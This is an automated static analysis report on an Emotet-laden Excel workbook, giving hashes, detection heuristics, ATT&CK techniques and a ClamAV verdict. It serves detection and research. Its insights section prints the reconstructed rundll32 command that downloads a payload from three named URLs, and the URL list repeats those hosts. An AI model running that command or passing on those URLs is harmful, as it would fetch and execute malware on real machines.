Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 8e8ae6b50e48dec8…

MALICIOUS

Office (OLE) / .XLSX

113.0 KB Created: 2015-06-05 18:19:34 Authoring application: Microsoft Excel
MD5: a4bbca7ec975a12cc607f75a38f943ad SHA-1: eb4341dff8967eebd254da34a4ef6a46ce86f4b7 SHA-256: 8e8ae6b50e48dec85a0a6eeaf97d19aa80fe711159127a21808dbc21173eddef
302 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 Rundll32

The sample contains Excel 4.0 macros with an Auto_Open entry, a known technique for executing malicious code. The macros reconstruct and execute a command using 'rundll32.exe' with embedded URLs. ClamAV detection further confirms this as Emotet. The reconstructed command is 'rundll32.exe "http://ordinateur.ogivart.us/editor/Qpo7OAOnbe/","http://old.liceum9.ru/images/0/","http://ostadsarma.com/wp-admin/pYk64Hh3z5hjnMziZ/"', indicating the intent to download and execute a payload from these URLs.

Heuristics 7

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • URL reconstructed from XLM cell array (3 URLs) critical OLE_XLM_CELL_ARRAY_URL
    Excel 4.0 macro sheet stages its payload URL across the BIFF8 Shared String Table (one quoted-char SST entry concatenated with & at runtime) or across individual numeric cells (one ASCII charcode per cell). The reconstructed URL is invisible to literal-bytes URL extraction because it is never contiguous in the workbook stream. URLs were recovered by walking the BIFF8 record stream and decoding SST entries plus LABELSST/RK/NUMBER cells.
  • ClamAV: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ordinateur.ogivart.us/editor/Qpo7OAOnbe/
    • http://ostadsarma.com/wp-admin/pYk64Hh3z5hjnMziZ/
    • http://old.liceum9.ru/images/0/
    • http://ordinateur.ogivart.us/editor/Qpo7OAOnbe

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
4d32d4bc18234076b76fff05a9ee50b43b756f16fa43d7a1a9cb0b5c555b4ddf		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 4504 bytes

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